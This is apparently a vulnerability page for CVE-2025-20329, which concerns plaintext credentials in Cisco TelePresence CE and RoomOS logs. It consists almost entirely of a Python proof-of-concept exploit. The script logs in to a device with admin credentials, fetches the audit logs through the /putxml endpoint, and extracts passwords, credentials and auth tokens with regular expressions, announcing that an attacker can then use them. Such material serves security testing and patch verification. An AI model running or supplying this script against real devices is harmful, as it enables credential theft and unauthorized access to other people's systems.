CVE-2025-20329 Cisco TelePresence CE与RoomOS日志明文凭据泄露漏洞

# CVE-2025-20329 PoC - Cisco TelePresence CE/RoomOS Credential Disclosure # This PoC demonstrates how to extract plaintext credentials from audit logs # Note: Requires valid administrative credentials to access the logs import requests import re import sys from urllib.parse import urljoin class CiscoRoomOSExploit: """ PoC for CVE-2025-20329: Information Disclosure via SIP Media Component Logging Affected: Cisco TelePresence CE and RoomOS Software """ def __init__(self, target, username, password): self.target = target # e.g., https://<device-ip> self.username = username self.password = password self.session = requests.Session() self.session.verify = False def authenticate(self): """Authenticate to the Cisco RoomOS device with admin credentials""" login_url = urljoin(self.target, "/putxml") auth_xml = f"""<?xml version="1.0" encoding="UTF-8"?> <Command xmlns=""> <Authentication> <Username>{self.username}</Username> <Password>{self.password}</Password> </Authentication> </Command>""" try: resp = self.session.post(login_url, data=auth_xml, headers={"Content-Type": "application/xml"}) if resp.status_code == 200 and "AuthenticationReply" in resp.text: print("[+] Authentication successful") return True else: print("[-] Authentication failed") return False except Exception as e: print(f"[-] Connection error: {e}") return False def fetch_audit_logs(self): """Fetch audit logs from the device or Webex Cloud""" # Access the audit logs endpoint log_url = urljoin(self.target, "/putxml") log_query = """<?xml version="1.0" encoding="UTF-8"?> <Command xmlns=""> <Audit> <Log> <Get> <All/> </Get> </Log> </Audit> </Command>""" try: resp = self.session.post(log_url, data=log_query, headers={"Content-Type": "application/xml"}) if resp.status_code == 200: print("[+] Audit logs retrieved successfully") return resp.text else: print(f"[-] Failed to retrieve logs: {resp.status_code}") return None except Exception as e: print(f"[-] Error fetching logs: {e}") return None def extract_credentials(self, log_content): """Extract plaintext credentials from log content""" # Pattern to match credentials stored in plaintext due to SIP media logging credential_patterns = [ r'(?i)sip[\s_-]?media[\s_-]?(?:password|credential|auth)["\s:=]+([\w@./+-]+)', r'(?i)password["\s:=]+"([^"]+)"', r'(?i)credential["\s:=]+"([^"]+)"', r'(?i)auth[\s_-]?token["\s:=]+"([^"]+)"' ] credentials = [] for pattern in credential_patterns: matches = re.findall(pattern, log_content) for match in matches: credentials.append(match) print(f"[!] Found credential: {match}") return credentials def exploit(self): """Main exploit chain""" print(f"[*] Targeting: {self.target}") print(f"[*] CVE-2025-20329 - Credential Disclosure via SIP Media Logging") # Step 1: Authenticate with admin credentials if not self.authenticate(): print("[-] Cannot proceed without valid admin credentials") sys.exit(1) # Step 2: Fetch audit logs logs = self.fetch_audit_logs() if not logs: print("[-] No logs retrieved") sys.exit(1) # Step 3: Extract plaintext credentials print("[*] Searching for plaintext credentials in logs...") creds = self.extract_credentials(logs) if creds: print(f"\n[+] Exploit successful! Found {len(creds)} credential(s)") print("[+] Attacker can now use these credentials to access confidential data") else: print("[-] No credentials found in logs") if __name__ == "__main__": if len(sys.argv) != 4: print(f"Usage: {sys.argv[0]} <target_url> <admin_user> <admin_password>") print(f"Example: {sys.argv[0]} https://192.168.1.100 admin password123") sys.exit(1) target = sys.argv[1] username = sys.argv[2] password = sys.argv[3] exploit = CiscoRoomOSExploit(target, username, password) exploit.exploit()